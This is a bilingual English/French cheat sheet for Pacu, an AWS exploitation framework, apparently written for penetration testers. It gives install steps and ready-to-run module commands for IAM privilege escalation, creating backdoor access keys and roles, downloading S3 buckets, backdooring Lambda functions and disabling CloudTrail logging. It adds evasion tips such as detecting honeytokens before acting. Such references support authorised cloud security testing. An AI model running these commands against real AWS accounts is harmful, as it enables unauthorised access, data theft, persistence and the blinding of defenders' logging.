Pacu

Framework d'exploitation AWS. Énumère et exploite les environnements AWS : mauvaises configurations IAM, élévation de privilèges, exfiltration de données S3, et persistance. AWS exploitation framework. Enumerates and exploits AWS environments: IAM misconfigs, privilege escalation, S3 data exfiltration, and persistence.

↗ https://github.com/RhinoSecurityLabs/pacu

Overview

Pacu is an AWS exploitation framework built by Rhino Security Labs. It provides a Metasploit-like interface for testing AWS environments, covering IAM privilege escalation, S3 bucket enumeration, Lambda function analysis, EC2 instance compromise, and more.

Installation & Setup

# Install
pip3 install pacu
# or
git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu
pip3 install -r requirements.txt

# Start Pacu
python3 pacu.py
# or
pacu

Session Management

Pacu uses “sessions” with associated AWS keys

Pacu (no session) > new_session pentest_engagement
# Set AWS credentials for current session
Pacu (pentest) > set_keys
> Key Alias: compromised-user
> Access Key ID: AKIAIOSFODNN7EXAMPLE
> Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
> Session Token: (leave blank if not using STS)

# Verify current identity
Pacu (pentest) > run iam__detect_honeytokens
Pacu (pentest) > whoami

Enumeration

Enumerate IAM users, roles, policies, and groups

Pacu > run iam__enum_users_roles_policies_groups

Enumerate all EC2 resources

Pacu > run ec2__enum

Enumerate S3 buckets and their ACLs

Pacu > run s3__enum_bucket_ACLs

Enumerate Lambda functions

Pacu > run lambda__enum

Enumerate RDS instances

Pacu > run rds__enum

Enumerate CloudTrail (for OpSec awareness)

Pacu > run cloudtrail__enum

Enumerate all services

Pacu > run enum__services

IAM Privilege Escalation

Check for privilege escalation paths

Pacu > run iam__privesc_scan
# Common privesc paths:
# - iam:CreatePolicyVersion (replace policy with admin policy)
# - iam:SetDefaultPolicyVersion (switch to older admin version)
# - iam:AttachUserPolicy (attach admin policy to self)
# - iam:CreateAccessKey (create key for admin user)
# - iam:UpdateAssumeRolePolicy (assume privileged role)
# - lambda:CreateFunction + passRole → execute as role

Create a new access key for a target IAM user

Pacu > run iam__backdoor_users_keys --usernames admin,backup-user

S3 Attacks

Download all readable S3 objects

Pacu > run s3__download_bucket --bucket-name target-bucket

Enumerate bucket ACLs

Pacu > run s3__enum_bucket_ACLs

Backdoor Lambda via S3 (if bucket is source)

Pacu > run lambda__backdoor_new_roles

Persistence

Backdoor IAM users with additional access keys

Pacu > run iam__backdoor_users_keys

Create a new IAM admin user

Pacu > run iam__backdoor_assume_role

Add backdoor to Lambda function

Pacu > run lambda__backdoor_new_roles

Operational Security

Check if credentials are honeytokens

Pacu > run iam__detect_honeytokens

Identify CloudTrail logging gaps

Pacu > run cloudtrail__download_event_history

Disable CloudTrail (destructive — use with care)

Pacu > run cloudtrail__disable_logging

Tips

  • Always run iam__detect_honeytokens first — some keys are canaries that alert defenders
  • iam__privesc_scan is the most valuable module for privilege escalation paths
  • Pacu logs all API calls — useful for generating reports but creates CloudTrail events
  • Use --regions flag to target specific AWS regions and reduce noise
Key modules reference
Enumeration:
  iam__enum_users_roles_policies_groups
  ec2__enum
  s3__enum_bucket_ACLs
  lambda__enum
  rds__enum
  cloudtrail__enum
  enum__services

Privilege Escalation:
  iam__privesc_scan
  iam__backdoor_users_keys
  iam__backdoor_assume_role

Exfiltration:
  s3__download_bucket
  ec2__download_userdata

Persistence:
  lambda__backdoor_new_roles
  iam__backdoor_users_keys

OPSEC:
  iam__detect_honeytokens
  cloudtrail__download_event_history
  cloudtrail__disable_logging

Vue d’ensemble

Pacu est un framework d’exploitation AWS construit par Rhino Security Labs. Il fournit une interface façon Metasploit pour tester les environnements AWS, couvrant l’élévation de privilèges IAM, l’énumération de buckets S3, l’analyse de fonctions Lambda, la compromission d’instances EC2, et plus.

Installation et configuration

# Installer
pip3 install pacu
# ou
git clone https://github.com/RhinoSecurityLabs/pacu && cd pacu
pip3 install -r requirements.txt

# Démarrer Pacu
python3 pacu.py
# ou
pacu

Gestion de session

Pacu utilise des « sessions » associées à des clés AWS

Pacu (no session) > new_session pentest_engagement
# Définir les credentials AWS pour la session courante
Pacu (pentest) > set_keys
> Key Alias: compromised-user
> Access Key ID: AKIAIOSFODNN7EXAMPLE
> Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
> Session Token: (laisser vide si STS non utilisé)

# Vérifier l'identité courante
Pacu (pentest) > run iam__detect_honeytokens
Pacu (pentest) > whoami

Énumération

# Énumérer les utilisateurs, rôles, politiques et groupes IAM
Pacu > run iam__enum_users_roles_policies_groups

# Énumérer toutes les ressources EC2
Pacu > run ec2__enum

# Énumérer les buckets S3 et leurs ACL
Pacu > run s3__enum_bucket_ACLs

# Énumérer les fonctions Lambda
Pacu > run lambda__enum

# Énumérer les instances RDS
Pacu > run rds__enum

# Énumérer CloudTrail (pour la connaissance OpSec)
Pacu > run cloudtrail__enum

# Énumérer tous les services
Pacu > run enum__services

Élévation de privilèges IAM

# Vérifier les chemins d'élévation de privilèges
Pacu > run iam__privesc_scan
# Chemins d'élévation courants :
# - iam:CreatePolicyVersion (remplacer la politique par une politique admin)
# - iam:SetDefaultPolicyVersion (basculer vers une ancienne version admin)
# - iam:AttachUserPolicy (attacher une politique admin à soi-même)
# - iam:CreateAccessKey (créer une clé pour un utilisateur admin)
# - iam:UpdateAssumeRolePolicy (assumer un rôle privilégié)
# - lambda:CreateFunction + passRole -> exécuter en tant que le rôle

Créer une nouvelle clé d’accès pour un utilisateur IAM cible

Pacu > run iam__backdoor_users_keys --usernames admin,backup-user

Attaques S3

# Télécharger tous les objets S3 lisibles
Pacu > run s3__download_bucket --bucket-name target-bucket

# Énumérer les ACL de buckets
Pacu > run s3__enum_bucket_ACLs

# Backdoorer Lambda via S3 (si le bucket est la source)
Pacu > run lambda__backdoor_new_roles

Persistance

# Backdoorer les utilisateurs IAM avec des clés d'accès supplémentaires
Pacu > run iam__backdoor_users_keys

# Créer un nouvel utilisateur admin IAM
Pacu > run iam__backdoor_assume_role

# Ajouter une backdoor à une fonction Lambda
Pacu > run lambda__backdoor_new_roles

Sécurité opérationnelle

# Vérifier si les credentials sont des honeytokens
Pacu > run iam__detect_honeytokens

# Identifier les lacunes de journalisation CloudTrail
Pacu > run cloudtrail__download_event_history

# Désactiver CloudTrail (destructif : à utiliser avec précaution)
Pacu > run cloudtrail__disable_logging

Conseils

  • Toujours lancer iam__detect_honeytokens en premier : certaines clés sont des canaris qui alertent les défenseurs
  • iam__privesc_scan est le module le plus précieux pour les chemins d’élévation de privilèges
  • Pacu journalise tous les appels API : utile pour générer des rapports mais génère des événements CloudTrail
  • Utiliser le flag --regions pour cibler des régions AWS spécifiques et réduire le bruit
Référence des modules clés
Enumeration:
  iam__enum_users_roles_policies_groups
  ec2__enum
  s3__enum_bucket_ACLs
  lambda__enum
  rds__enum
  cloudtrail__enum
  enum__services

Privilege Escalation:
  iam__privesc_scan
  iam__backdoor_users_keys
  iam__backdoor_assume_role

Exfiltration:
  s3__download_bucket
  ec2__download_userdata

Persistence:
  lambda__backdoor_new_roles
  iam__backdoor_users_keys

OPSEC:
  iam__detect_honeytokens
  cloudtrail__download_event_history
  cloudtrail__disable_logging